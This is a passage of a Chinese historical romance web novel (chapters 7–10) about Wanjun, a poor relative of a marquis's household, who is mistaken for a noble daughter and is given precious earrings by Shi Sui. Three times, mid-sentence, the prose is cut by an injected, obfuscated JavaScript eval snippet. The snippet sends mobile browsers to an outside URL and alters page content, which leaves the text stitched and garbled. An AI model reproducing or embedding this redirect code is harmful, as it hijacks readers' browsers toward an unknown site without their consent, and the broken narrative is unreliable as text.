“不必了，我自有办法对家里解释。时二爷派几个兵卫送我回去就行。” 时璲有些讶然她突如其来的冷淡，坚持道：“还是我送你回去吧。毕竟累你涉险，理应登门解释。” 畹君不轻不重地刺了他一句：“时二爷亲自送我回府，只怕谣言又要传得满城风雨了。” 时璲沉默。 少顷，他叫了四个人进来，命他们先行护送畹君回去。 畹君先去跟陈妈杨妈道了别，见她们一切安好，这才坐上了官府的马车回城。 待进了城，沿街商铺早已开门揽客，兼有货郎挑着担子一路吆喝，身处繁荣喧阗的街道上，昨夜那场生死危机仿佛从未存在过。 马车行经贡院街的一间成衣坊，畹君令其停下，对护送她的兵卫道：“这是我家的铺子，我要进去换件衣裳，再让铺子的人送我回府就行。有劳各位官爷了。” 那几名兵卫望见她衣衫上星星点点的血迹，并不作他想，便放畹君在此下车。 如果是真正的谢四姑娘，此时该给他们几钱赏银。可惜畹君囊中羞涩，便什么表示也没有。 她顶着兵卫们的注视走进铺子，伙计立刻殷勤地迎了上来：“姑娘要买些什么？” 畹君顾念着不让云娘担心，便买了件红纱披帛围在身上，罩住衣裳上的血迹。 待门口那几个兵卫离去，她这才出了铺子，匆匆往家里赶。 7. 家有女 走到巷口，遥遥见到云娘在屋檐下往外张望。 劫后余生乍见亲人，畹君紧赶几步走到母亲身边，忍着哭腔道：“娘，我回来了。” 望见女儿的那一刻，云娘大喜过望，眼底的焦急忧惧霎时一扫而空。 她疾步迎上去，见畹君行动自如，不像受伤的样子，只鬓发虽有些凌乱，倒是平添了几分妩媚的风情。 云娘立刻板起了脸，抓着畹君的手腕回到院子里闩上屋门，这才劈头盖脸问道：“你长本事了，好好一个姑娘家竟敢夜不归宿，昨夜上哪儿去了？” 畹君猝不及防被母亲一顿责骂，当下又是惊愕又是委屈：“我在慈育堂过了一夜，还能去哪？” 云娘狐疑的目光在她身上来回扫视：“慈育堂？怕不是当幌子吧？你这披肩哪来的？” 畹君见母亲疑神疑鬼，仿佛自己做了见不得人的事一样，顿时又羞又恼，冷笑道：“原本怕娘担心不想实说，未成想娘倒更担心我的清白！” 她一把扯下披帛，露出染了斑斑血迹的衣裳，“那就索性直说，我昨天回家的路上遇到匪贼，险些丢了性命，要不是回慈育堂躲了一夜，今儿回来的就是我的尸首！娘若还不信，便自去衙门打听！” 云娘见她衣衫上斑驳暗红的血污，早已唬得嘴唇发白，忙不迭上手去摸她肩膀后背：“没受伤吧？” 畹君听着姗姗来迟的关怀，心中委屈更甚，没好气地躲开她娘的手，提着裙子快步进了屋里。 云娘望着大女儿袅娜的背影，不禁深深叹了口气。 真不怪她这么紧张，畹君就是生得太好，又正值碧玉年华，自己再不盯紧点，要真出了什么事，那才是追悔莫及。 畹君进屋更衣，打开箱笼见到最上面叠着两件新衣，都是杭绸的料子，一件木槿色花罗褙子，一条碧纱荷叶裙。 她的手顿了顿，便听得云娘倚在门口道：“给你做的新衣服，昨儿才裁好送来的。换上试试看合不合身。” 畹君没说话，沉默着换上新衣，剪裁得宜的衣裙衬得她纤秾合度，周身如披紫霞翠雾，泛着滟滟华彩。 云娘替她整了整衣襟，口中说道：“你这个年纪的姑娘穿什么都好看。” 畹君还是没说话。 她早就发现了，母亲总爱将她的好模样归结于年龄，怕她恃美生骄。 云娘又道：“去隔壁屋看看你妹妹吧，昨儿你不回来，她翻来覆去睡不着，咳了一整夜。” 畹君跟佩兰虽然差了九岁，姐妹俩感情却很好。 到了佩兰屋里，她小脸急得通红，一叠声地问畹君昨夜怎么没回来。 畹君坐在床边，将昨夜遇险的事跟佩兰娓娓道来，只是隐去了那些惊险的细节，语调轻松地讲自己多么有勇有谋，连官兵的领袖时大人都对她言听计从，最后将上百个匪贼一网打尽，时大人还亲自派人送她回家。 佩兰听得双眼发亮，兴奋地说道：“姐姐好厉害！那个时大人，是姨妈家的哥哥吗？” 佩兰打小就非常向往郑姨妈身后的宣平侯府，只是云娘顾及她身体不好，也怕贵人忌讳，从没带她去过侯府。 畹君摸了摸妹妹的辫子，笑着点点头，道：“是呀。那位时家哥哥还说，等佩兰身子好了，要请你去他们家玩呢。” 听说时家的哥哥要请她去玩，佩兰开心极了，忙道：“那我一定好好喝药。” 畹君笑着捏捏她的鼻尖，转过头脸上的笑意立刻淡了下去。 那见鬼的侯府她真是一点也不想再去。可为了还姨妈的耳坠，少不得还要再去一次。 一想到被时璲碾碎的那枚珍珠，她就气得咬牙，连带着脱困时对他的那点感激之情也消失殆尽。 哄着佩兰睡下后，畹君走出屋外，见母亲正在水井边淘洗着那件染了血污的罗衫。 她走过去道：“别洗了，上面都是血，穿不成了。” 云娘对着日头展开衣料，见那缎面粼粼地闪着光，惋惜地摇摇头道：“这么好的衣裳，丢了怪可惜的。娘给你洗洗，要是实在洗不掉，裁掉污渍改件比甲给你妹妹穿，让她也高兴高兴。” 畹君微怔，问道：“娘没给佩兰做新衣吗？” 云娘一边捣衣一边道：“佩兰正是长身体的年纪，新衣裳穿不了多久，让她捡你的衣裳穿便是。你小时候吃的穿的可都是好东西呢。” 不知道为什么，听说新裁的衣裳是她独一份，畹君心底升起一丝窃喜。 云娘又道：“你别怪娘多嘴，你现在是个大姑娘了，少不了有年轻后生献殷勤。你别那被那些个花言巧语迷了眼，男人家玩玩没什么的，咱们女人可就一失足成千古恨，悔也来不及！只有正经说了媒的才好来往。” 云娘一面说，手上动作不停，衣槌将木盆里的水捣得波光粼粼，也将畹君心底的温情捣得无影无踪。 她气得直跺脚：“娘！你当你女儿这么不堪么？” 云娘道：“你若真是个晓事的，那当初……” 她忽然止住了话头。 畹君知道母亲是想翻她和时瑜的旧账。 时瑜是时三老爷的独子，在同辈兄弟中行五，畹君该唤他五表哥。 父亲还在世时，家里和郑姨妈的走动频繁些，畹君也算打小认得这位表哥。 十五岁那年，她察觉到时瑜对自己的爱慕之心。 畹君虽然对他没那方面的意思，可时瑜是她能接触到的人中，唯一一个相貌出众、家世显赫、年纪又相当的少年。 如果能嫁给他，母亲以后也不用卑躬屈膝地朝郑姨妈打秋风了。 或许美貌的姑娘拿捏人心的本事与生俱来，畹君只是略施手段，便引得时瑜对她死心塌地。 就在她以为时机成熟后，便暗示时瑜捅破窗户纸，让家里长辈把亲事定下来。 孰料时瑜说的却是：等他娶了妻子，就把畹君纳为侧室。还再三表示绝不亏待她，将来的吃穿用度比照着正经奶奶来。 怄得畹君一口气差点没上来。 自此她才深刻地认识到门第的天堑之深。凭她的出身远远高攀不上侯府，哪怕时瑜对她一往情深，也不会择她做正头娘子。 浪费了一年时间不说，还平白招惹这么一朵烂桃花。她当即断了与时瑜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668342|173029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往来，倒是时瑜一直对她念念不忘，甚至求到了郑姨妈跟前。 郑姨妈膝下无子，跟这个继子的关系冷淡而疏远。 去年三老爷生了一场重病，让郑姨妈陡然生出危机，觉得用外甥女拉拢继子不失为一招妙棋，便亲自去跟云娘商量。 云娘自然不肯让女儿与人为妾，姐妹俩不欢而散，为此她家大半年没登侯府的门。 若非前些日子家里实在拮据，畹君也不必走那一趟，结果闹出后面这么多事。 现在不仅要躲着时瑜，还又多了个时璲。 畹君打算赶紧把姨妈的耳坠补好归还，以后再也不上侯府的门。 她从私库里摸出十两银子，踟蹰着来到金陵最富盛名的珍珑阁，打算买一颗合适的珍珠，请这里的师傅镶嵌上去。 珍珑阁主售金玉首饰，以华丽雅贵、巧夺天工为招牌，整日客流不绝。一楼大堂招待寻常宾客，二楼则专门接待显贵内眷。 她还是头一回出入这种销金窟，低眉敛目在大堂排了会儿队，忽然听到跑堂的伙计高声唤道：“谢府台家的小姐到临，快来两个人出去迎一迎。” 畹君闻言转头往门口望去，见两个伙计点头哈腰地迎着一行人走进来。 打头是两个衣着光鲜的婢女，随后曼步走来一个湘裙曳雾、璎珞垂光的千金小姐，鹅蛋脸、柳叶眉，虽算不上十分绝色，可配上那身矜傲的风姿气度，足像明珠入堂，令满室生辉。 畹君心中暗忖：也不知道这是谢家的哪位小姐，若是那位四姑娘，倒正是踏破铁鞋无觅处，今儿就在这里把误会跟她说开。 她这头正想着，便见二掌柜迎了上去，眉开眼笑道：“是四娘子来了，快随小人楼上看座。” 畹君心头一跳，忙从队伍中走出来。眼见那谢四娘已上了半截楼梯，她正要跟上去，一旁的伙计连忙伸手拦住她：“姑娘留步，上面是接待贵客的。” 畹君朝他解释道：“我找谢四……” 她忽然止住话音，忙不迭将脸别向雕花壁板。 原来楼梯上迎面走下来一人，长身玉立，正是那日引畹君去见时璲的那个小厮。 畹君怕那小厮将她认出，当着真正谢四姑娘的面嚷开，那就真不知该如何收场了。 待那小厮走出珍珑阁的门，她这才回头望去，谢四娘一行人早就上了二楼。 她只好重新走到柜面前排队，思忖着等谢四姑娘下来，再寻机把误会说开。 好不容易排到她，畹君拿出那对耳坠给伙计看，问他有没有合适大小的珠子。 那伙计瞅了一眼，当即从抽屉里摸出颗跟那完好耳坠上一模一样的珍珠，笑眯眯地开价：“八两银子。” 畹君一阵肉疼，问道：“便宜点行不行？” 伙计道：“姑娘，这么大颗的珍珠，别的地方有钱也买不到！何况八两银子是算了工费的，一会儿我把大师傅请下来，不消半刻钟便给你嵌好，任谁也看不出来是修过的，再便宜那是没有了。” 畹君无法，只好咬牙给了银子，坐在一旁静候大师傅下来，心中将时璲翻来覆去地骂了一通。 8. 掷千金 却说谢四娘方才跟那小厮擦肩而过，却并没有认出那人。 她是宣平侯老夫人谢氏的侄孙女，平时跟侯府走动频繁，可因时璲常年在外的缘故，谢四娘并不认得他的小厮。 还是身旁的婢女悄悄道：“小姐，奴婢瞧方才走过去的那位爷，倒像是时二爷身边伺候的鹤风呢。” “当真？”谢四娘柳眉一挑，珍珑阁是卖珠玉首饰的，他的小厮到这地方来干什么？ 她心生疑虑，便问楼上接待的大师傅：“方才那个人来做什么的？” 那大师傅并不认识鹤风，却识得谢四娘，便也不做隐瞒，拿出一张纸道：“回四姑娘的话，那位爷让小的照着这张图，打一对耳坠出来。” 谢四娘接过一看，金花贡笺上龙飞凤舞地画着对耳坠，看得出来是累丝嵌珠的样式。 她狐疑地抬眸望向大师傅。 “那位爷特意吩咐了，要用这块宝石嵌进耳坠里。” 那大师傅取出颗蜜黄色猫睛石，足有鸡子大小，在他手中流光溢彩，荧亮生辉。 他摇头叹道，“这么大的猫睛石比我们镇阁之宝还稀罕，拿来嵌凤冠都使得，切了嵌耳坠实属暴殄天物。唉，也不知是哪家的主子出手这么阔绰，平白浪费了好东西。” 谢四娘看得脸上青一阵白一阵。 这猫睛石一看就是锡兰御贡之物，早听说时二爷战功卓著，得天子赏赐无数，如今看来果然名不虚传。 正是知道他前途无量，所以她才拼上自己的名声，千方百计散播时二爷的流言，好叫旁人不敢再打他的主意。 可这耳坠一看就是女子饰物。究竟是谁，竟不声不响捷足先登，让时二爷肯掷千金买一笑？ 谢四娘脸色阴晴不定，心中将金陵城的贵女筛了个遍。 婢女看出她心中所想，低声道：“小姐，说不定是给府里的女眷打的呢？” “不可能。”谢四娘横了她一眼，“三娘说过时二爷少年离家，跟府里的姐妹并不亲近，犯不上为她们花那么多心思，还亲自画了图！” 她越想越糟心，连首饰都不看了，绷着脸打道回府。 正逢此时，伙计上楼请大师傅下去。 那大师傅收起图纸和宝石，随着伙计下了楼。 见到候在一旁的畹君，听说是嵌珠子的活计，便不以为然地接过那耳坠一看，眼睛却倏地一亮。 他干了二十多年首饰营生，只消一眼便能认出，刚接的那单大活上画的图样就是这枚耳坠的款式。 原本那图纸画得多少有些写意，还得费不少工夫琢磨细节，这下真是一打瞌睡就有人送枕头，省了他不少事。 大师傅不动声色地瞟了畹君一眼，故作沉吟道：“嵌珠子是个细工夫，姑娘两天之后再来取吧。” “两天？”畹君吃了一惊，转头望向那伙计，“不是说半刻钟都不用吗？” 大师傅不紧不慢道：“加急也行，十两银子。” 畹君一噎，只好忿忿不平地领了对牌回家去。 回到家中，云娘正与一矮胖妇人在院门口热络地聊着天。 见到畹君回来，云娘忙招手：“快来见过你吴婶子。” 畹君依言上前，那吴婶子一双眼睛便马不停蹄地在她脸上打转，口中笑道：“哎哟哟，郑嫂子，你家大姐儿怎么生得这样好，就是天上的嫦娥也要自惭形秽呀！” 云娘忙道：“婶子这话可折煞她了，这个年纪的姑娘家没有难看的。” 吴婶子又抓起畹君的手，从内到外捻了又捻，夸赞道：“手上也是又细又嫩，一看就是千金小姐的派头。” 云娘笑道：“什么千金小姐，只是平时指望着她做针线，不让她干粗活罢了。我们大姐儿就是懂事这点好，没事还会去帮人读书写信，家里现在靠她养呢。” 吴婶子笑道：“那真了不得，又孝顺、又识字，打着灯笼也找不着。” 畹君不自在地抽走被吴婶子拽着的手，告了一声罪回到屋里。 待云娘把吴婶子送走，她才冷着脸道：“这回又准备给我说哪家？” 云娘一边收拾外面晾的衣裳，一边说道：“你知道的，镇淮桥那边的柳大官人。” 畹君秀眉一蹙，冷笑道：“聘我当续弦的？那柳官人再大几岁就能当我爹了，膝下还有好几个儿女，要我去给人当后母，你趁早歇了这份心。” 云娘道：“人家柳大官人不过而立之年，手下便有好几家商行，家里的银子几辈子都花不完，人又生得仪表堂堂，想找什么样的续弦没有？若不是想聘个正经官宦人家的小姐，倒未必轮得到你。” 畹君哼声道：“我还看不上。方才那吴婶子上来就动手动脚，跟挑姨太太似的，那柳家能好到哪里去！你趁早回了吴婶子，让那柳大官人别做梦了。以后娘也别什么人都往家里领！” 云娘手上动作一顿，道：“娘知道你想当秀才娘子，可那些个有家底的，看不上咱们孤儿寡母；清贫些的，嫁过去连自己都顾不上，你妹妹到时候又该怎么办呢？” 畹君别过头道：“那你也不能就这样把我卖了！” “什么卖？”云娘气急，“那柳大官人乐善好施，人品没得挑。虽是商户，将来未必不能捐个官当，年长些还知道疼人。这么好的亲事打着灯笼也挑不着！” 畹君也生气，一时口不择言起来：“这么好那你怎么不嫁？” “你反了天了！” 云娘抄了扫帚要来打她。 佩兰闻声忙从屋里跑出来，紧紧抱住她娘的腿，一边咳嗽一边急急道：“娘，不要打姐姐！” 佩兰最懂拿捏她娘，只要她一咳，母亲便不再与她为难。 果然云娘扔下了扫帚，又半是气半是哭道：“你以为我当年没这机会？当初我念着要保留你们姐妹俩官家千金的身份，死活不肯改嫁商户。可现在，你们姐妹过的都是什么日子？娘就是吃过亏，知道那些虚名都是假的，才想让你少走弯路，后半生稳稳当当才是真！” 畹君犹不服气：“那也未必要给人当续弦！” “那你想要什么样的？你若有个兄弟，时家少爷要讨你做侧室我也认了，将来好歹兄弟出息了，你也能扶正；偏偏你命苦，只有一个病弱的妹子，你得养着她！” 畹君听得这番偏心到天边的话，心中越发郁忿难平：“我妹妹我不会不管，但你休想让我给人当后娘、当小老婆！” 说罢，转身折进屋里，将门摔得震响。 隔着木门和佩兰的哭声，她还隐隐听到云娘的骂声：“你长本事了，可别忘了我是你娘！你嫁给谁还得是我说了算！” 畹君气得好几天没理她娘。 过了两日，她去珍珑阁取回耳坠，那珠子莹然生辉，果然嵌得天衣无缝，完全看不出修补的痕迹。 那天在珍珑阁久等不到谢四娘，问了伙计才知道她早就打道回府了。 畹君没有旁的机会见到谢四娘，便去侯府的后巷打听了一番，得知谢四娘过两日会到访侯府。 她便也选了那日登门还姨妈的耳坠，打算顺便把时璲那桩乌龙解决掉。 还了耳坠，郑姨妈并未看出不妥，依旧是不咸不淡地刺了她两句，便让人送她出了秋云院。 畹君不急着回去，先转去了那日搭戏台的花园，寻了个婆子问道：“谢家的四姑娘是不是今日在府里做客？” 那婆子瞧着她面生，疑惑地点点头，问道：“姑娘是……” “有劳妈妈去将谢四姑娘请到后面的水榭，就说是二爷有请，要悄悄的。” 畹君怕请不来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668343|173029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢四娘，特意假托了时璲的名号。 那婆子听说是二爷的吩咐，当下不敢怠慢，忙匆匆领命而去。 畹君转头往水榭走。 因她平时只在三房走动，这边并不常来，又兼这府里花木葱茏，假山叠绕，游廊曲折，竟在此间迷了路。 左兜右转过了有一刻钟，她才重新寻到正确的路，耽误这些时候，只怕谢四姑娘早就候在水榭里了。 畹君步履匆匆往水榭赶，忽然脚边落下一枚石子。 她茫然抬头望去，只见石径边一座重檐八角凉亭，二楼上一排雕花朱栏，穿一身深紫暗纹直罗的时二爷正闲倚栏杆，居高临下地朝她招手：“上来。” 畹君心中直呼倒霉，怎么这么不巧撞上这尊大佛？逆着光看不清他的神情，也不知道是不是又找她兴师问罪来了。 她硬着头皮踩着楼梯上去，时璲好整以暇地看着她，脸上虽然没什么表情，倒还算温煦，不像要跟她算账的样子。 畹君心下稍安，又听得时璲道：“你平时也这么温吞么？等你好一会儿了。” 畹君奇道：“时二爷怎么会在这里等我？” “听说你今儿来府上做客，方才派人去请，说你往水榭这边过来了，我便到这儿来等你了。” 畹君闻言惊出一身冷汗。 她和时璲去请谢四娘就是前后脚的事，若非她提前请走了谢四娘，他俩一见上面，这会儿可就东窗事发了。 她顿时心虚不已：“二爷找我什么事？” 时璲还没开口，畹君却思忖着这样冒认不是个办法，不如索性把误会说开，好过成日提心吊胆。 好歹自己跟他也算经历了一回生死，想来这会儿告知真相，时二爷应该不会怪罪她才是。 她踌躇地开口：“其实我……” “这个给你。” 畹君微怔，望着时璲递过来的巴掌大的锦盒。 她迟疑地接过来打开一看，红缎面上静静躺着一对赤金累丝嵌珠耳坠，跟她刚还给郑姨妈的耳坠形制一模一样，唯一不同的是上面嵌的不是珍珠，而是猫睛石。蜜色宝石中横一线白光，四面莹亮，轮转间流光溢彩、炫然夺目。 畹君抬眸望向时璲：“这是……” 他半垂着眼看她，乌浓的长睫挡住了眸光：“上次的事是我误会了，这个给你赔罪。” 畹君心跳怦然，她长这么大还没得到过如此华贵的首饰呢。相较之下，她付出的那八两银子倒是不足挂齿起来。 她磕磕绊绊道：“那你、你还颗珍珠就好了，这个……应该很贵重吧？” “那也太敷衍了吧？”时璲笑了一声，又道，“何况这个也不值什么钱。” 畹君没接话，望着耳坠上那荧光凝动的宝石，心中万分纠结：要不要为了这对耳坠，继续冒认下谢四姑娘这个身份？ 时璲见她不语，目光转而落在她细白莹润的耳垂上。 时人多爱攀比，所佩之饰非金即玉。她倒别出心裁地戴了一对錾花银环，霜银的亮色鲜明而不喧宾夺主，反而愈发衬托出那张面容的皎洁柔秀。 他心念一动，伸手抚了上去。 畹君正犹豫不定，忽然耳垂一颤。 她心中悸然—— 是时璲摘下了她的耳环，随后拈起锦盒上的耳坠替她戴了上去。 她当初招惹时瑜，可是连手也没给他摸过的。 如今却被一个见不过三次面的男人摘戴耳饰…… 尽管他的动作很小心，甚至没有碰到她的耳垂；可他靠得那样近，低头呼出的气息拂在她的额发上，让畹君的心也跟着乱了起来。 午后暑气正盛，她那白得清透的耳朵泛起滚烫的红色，可是他的神态是那般淡然自若，倒显得她的羞赧有些自作多情。 9. 搏一笑 那一摘一戴的动作，于畹君而言足有一炷香那般漫长。 好不容易捱到他收回手，耳垂却被他的指尖不经意间划过，自垂尖的那一点烫意直烧到脸上来。 畹君低着头后退了两步，转身要下楼梯去。 “回来。”时璲开口将她钉在原地，“你跑什么？你都有胆子只身出城，见我倒像老鼠见了猫，我比那些匪徒还可怕？嗯？” 那尾音勾起一点漫不经心的逗弄，敢情这时二爷是拿她找乐子来了。 畹君只好转过身来，不情愿地说道：“时二爷还有什么指教？” 时璲闲倚着亭柱打量她，见她站得远远的，语气也尽是冷淡疏离，不觉有些气短。 他指尖轻点着朱漆栏杆，缓缓道：“那伙匪徒抓了一百三十九人，跑了七个，已经在周边州府通缉，不日便可归案。” 畹君睁大眼睛望他，不明白他为何要跟自己说这些。 时璲只好把话说明白了些：“能这么快将匪徒一网打尽，多亏了你从中出力。到时候论功行赏，少不了你的一份功劳。只是你毕竟没有公职，到时功劳会记在令尊头上。” 把她的功劳记给谢知府？ 畹君忙道：“不必了。我去慈育堂是瞒着家里人的。要是让……父亲知道，我以后就再也去不了慈育堂了。” 她半凝眉心，微抬眼眸看他，有一点故作姿态的楚楚可怜。 时璲果然不再执着于给她论功，可还是含着探究的目光看她：“那总要谢罢？” 慈育堂一役他手下折损很小，就算府衙不谢，他也该一表谢意。 这话正中了畹君的下怀。 她总算抿出半分微笑，期期艾艾道：““时二爷若想谢我，身上若有什么值钱的东西，便送给我吧。” 如果是金锞子就更好了。畹君心道。 她还没意识到这话有私相授受之嫌，时璲已经微眯起窄长的眼睛：“你这是挟恩图报？” 畹君一愣，望见他那似笑非笑的神情，终于品出了她话里的歧义。 她都忘了自己还在扮演着谢四姑娘，不该说出那些惹人误会的话。 她一垂首，耳坠上沉甸甸的猫睛石打在颈侧，凉沁沁的，像夏日里半浮于盏的碎冰，让人没来由地心静。 畹君不由抬头朝他微微一笑：“我刚才说笑的。这对耳坠作谢礼就足够啦。” 这是她第二回对他笑。 上回在慈育堂的暮色下影影绰绰，像蒙着雾纱般虚无缥缈；这回晴天朗日之下避无可避，莞尔一笑竟盖过了满园晴芳的光华。 时璲微微怔神间，她已经转了个身，青碧色的裙摆旋成一小幅荷叶，织金裙边熠熠在眼前一晃而过，人便已下了楼梯。 夏蝉鸣噪，满池芙蕖映日生香。 畹君行至曲径，忍不住扶着雕花石栏看自己在水面的倒影。 清碧池水波光粼粼，照出鬓边流垂烁晶的耳坠，沉沉地像坠着她怦然的心。 * 好不容易摆脱时璲，畹君紧赶慢赶赴上谢四娘的约。 到了水榭边，遥遥见到一个华服少女倚栏而坐，一个绿衣丫鬟在旁打着扇子，看起来是等了有些时候了。 走近前去，果然是在珍珑阁见过一回的谢四娘，只是在侯府的花园里，她脸上的骄矜之气褪去了不少，眉宇间隐含着几分忐忑的喜悦。 畹君走进水榭，谢四娘循声望过来，见不是心心念念的时二爷，一时不觉怔忪，半眯起眼打量来人。 谢四娘自小锦衣玉食，一眼看出她身上的衣裳不算华贵，却有种浑然天成的修饰感，教人目不暇移。 这一眼已叫谢四娘警铃大作，再一瞧她耳朵上熠熠生辉的那对耳坠，不由失声叫道：“是你！” 畹君在踌躇着如何开口，听得谢四娘之言，不由道：“谢四姑娘认得我？” 谢四娘脸色变幻不定，冷冷道：“你是什么人？” 畹君瞧她神色不善，一时有些摸不着头脑，顺着她的话解释道：“我是三太太的外甥女……” 得知她是侯府三太太的外甥女，谢四娘脸色稍霁。 早听说过那位三太太是个破落户，她的亲戚必然也是上不得台面的人家，不足为惧。 畹君将时璲错认她之事说了一遍，只是省去了慈育堂的事。最后道明来意：“谢四姑娘，我今天过来只是想跟你说一声，时二爷眼里容不得沙子，请你以后不要编排他了。” 谢四娘对她最后那句话置若罔闻，一心想着：敢情她能得时璲青眼，还是借了自己的东风！ 她登时柳眉倒竖，冷觑着畹君：“谁给你的胆子冒充我？” 畹君原本不打算讲时璲丢金子那一节，她知道对贵女们而言这方式很侮辱人。 可谢四娘既问到脸上了，她也只好如实相告，末了又解释一句：“因为我囊中羞涩，所以就……认下来了。” 说到这里，畹君心头有些忐忑。 这谢四姑娘看起来是个不好相与的性子，自己这样败坏她的名声，难保她不会发难。 良久的沉默过后，谢四娘忽然一扬柳眉：“你很缺钱？” 畹君垂眸道：“家里妹妹生病了，开销比较大。” 谢四娘一双冷睛秀目在她身上扫视，最后落在那对嵌猫睛石耳坠上。 眼前这个谢畹君，生得漂亮能让男人动心，没有家世容易拿捏。最重要的是，偏偏她现在冒认着自己的身份，偏偏时二爷已经对她有点意思。 简直就是老天爷送来的助攻！ 谢四娘忽然绽开笑容：“这样吧，我许你五百两，你替我办件事。” 五百两！ 畹君倒吸一口凉气，竭力掩饰面上的惊讶，佯装淡定道：“什么事？” 谢四娘附耳低声道：“你假装我的身份，引得那时二爷松口跟我定亲，待写下婚书，我便赏你五百两，如何？” 畹君大吃一惊，断然道：“这怎么成？就算过程再万无一失，你们成亲之后他也会知道真相，到时咱们俩都吃不了兜着走。” 谢四娘轻蔑地瞥她一眼：“我是谢家的姑娘，真到成了亲那一步，他发现货不对板也只能认了。至于你，拿了银子就远走高飞，还怕他找上你不成？” 畹君心下直呼荒唐。 五百两银子虽多，可若要她背井离乡加上得罪时二爷，那实在是划不来。 可她也不好直接开罪谢四娘，只好迂回道：“谢四姑娘，你这是何苦？算计来的婚姻，你也得不到夫君的真心，将来夫妻不和， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668344|173029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这日子过得又有什么盼头？” 谢四娘傲然道：“我只要当上时二奶奶就够了，至于感情？真心？那是小妾才需要琢磨的。” 她知道父亲想跟时家结亲，可她前面还有个嫡出的三姐，这门亲事也轮不到她头上。 否则，她也不必兵行险招，冒着将来被夫君厌弃的风险来为自己谋划。 谢四娘用蔻丹指甲轻轻划过她的耳坠：“反正他对你有意，你只要私下见他几回，哄得他差人上门提亲，不出几个月就能拿到五百两银子，何乐而不为呢？” 谁说时璲对她有意了？畹君心中叫苦不迭。 她这趟找谢四娘，本意是想从这乌龙的泥沼中脱身，未想谢四娘对嫁给时璲的执念如此之深，倒叫她进退两难起来。 “四娘！” 一道清脆的女声将畹君从两难中解脱出来。 水榭里的两人循声望去，见一个身穿鹅黄纱裙的少女往这边走来。 畹君认出那是时家三姑娘时雪莹。 她走近前来，一对秀目在畹君身上打了个转，有些不确定地问道：“你是……问蕊的表姐？” 畹君没想到她能认得自己，忙笑着朝她施了一礼。 时雪莹回了礼，不再看她，转头对谢四娘道：“你怎么跑这儿来了？祖母正找你呢。” 谢四娘亲热地挽过时雪莹的手，笑道：“那我们快回去吧。” 经过畹君身边，她压低声音道：“我给你三天时间，若考虑好了，就到文昌巷谢府的后街角门找个叫李二的。” 说罢，携着时雪莹的手离开了水榭。 畹君看着她们离去的背影松了口气。 考虑什么啊，时璲又不是时瑜那样的公子哥，她是万万惹不起的。何况她有点搞不明白时璲对她的态度，这浑水她才不要蹚。 出了侯府，畹君心头像压着块石头般沉甸甸的。本以为这趟能将侯府的破事都解决掉，没想到又接了块烫手山芋。 不过……她伸手摸了摸冰凉润手的耳坠，也不算全然没有收获。 回家的路上，畹君特意拐到珍珑阁，请伙计为那对耳坠估价。 那伙计接过来一看，显然是对这耳坠印象深刻，摇头道：“啧啧，真是何苦来！” 畹君不解：“小哥何出此言？” 那伙计抬起眼皮瞧她：“这嵌坠子的原料是块鸡子大的猫睛石，单那宝石就值上千两银子，可惜拿去切碎了做耳坠。姑娘你若留着戴，这耳坠说出去就值上千两；可你若要卖掉么，就只值这个数。” 他伸出八根手指。 畹君心下狂跳，试探着问道：“八百两？” “八十！”伙计把眼睛一瞪。 畹君心头泣血，一把拿回她的耳坠。 这时璲……直接把那块宝石给她不好么？干嘛非得让人打个耳坠出来！ 可她知道那也不能怪他，毕竟侯府那样的人家，只怕是看得顺眼就拿去用了，根本不在意价值几何。 像那位谢四姑娘，张口就能许人五百两。 而她呢，成日为了碎银几两奔忙，一年到头还存不下十两银。 畹君将手中的耳坠捂得发热。 她还没拥有过这么珍贵的首饰，还是……留下吧。 10. 风乍起 回到家里，畹君将耳坠装入锦盒，小心翼翼地放进了她存私库的匣子里。 这可不能让她娘看见，否则肯定要追根究底问个不停。 想了想，她还是在账本里记了八十两银子的入账。 数一数再攒三四两银子就凑够了一百两，畹君心里美滋滋的，破天荒地结束了和云娘的冷战。 她这厢心情一好，竟将谢四娘的事忘在了脑后。 今夏干燥炎热，入暑以来只下了两场雨。 畹君这些天跟云娘闹别扭，夜里都是到佩兰屋里睡。 睡到半夜，忽然佩兰剧烈地咳嗽起来。畹君睁开惺忪睡眼，还没来得及查看妹妹的情况，先瞥到窗外红光映天。 她心头一颤，蓦地想起慈育堂那夜在前院烧的大火。一样的红光与热浪，仿佛要将白蒙蒙的窗户纸都吞噬掉。 她忙披衣起身推开门，见是自家放杂物的西厢房起了火，将梁柱都熏黑了。 畹君忙叫醒云娘，两人的动静招来左邻右舍，又有人去军巡铺喊来潜火兵，忙活了个把时辰才灭下了火。 那火势凶猛，烧得西边的棚子塌了一半，还蔓延到了邻居的东厢去。 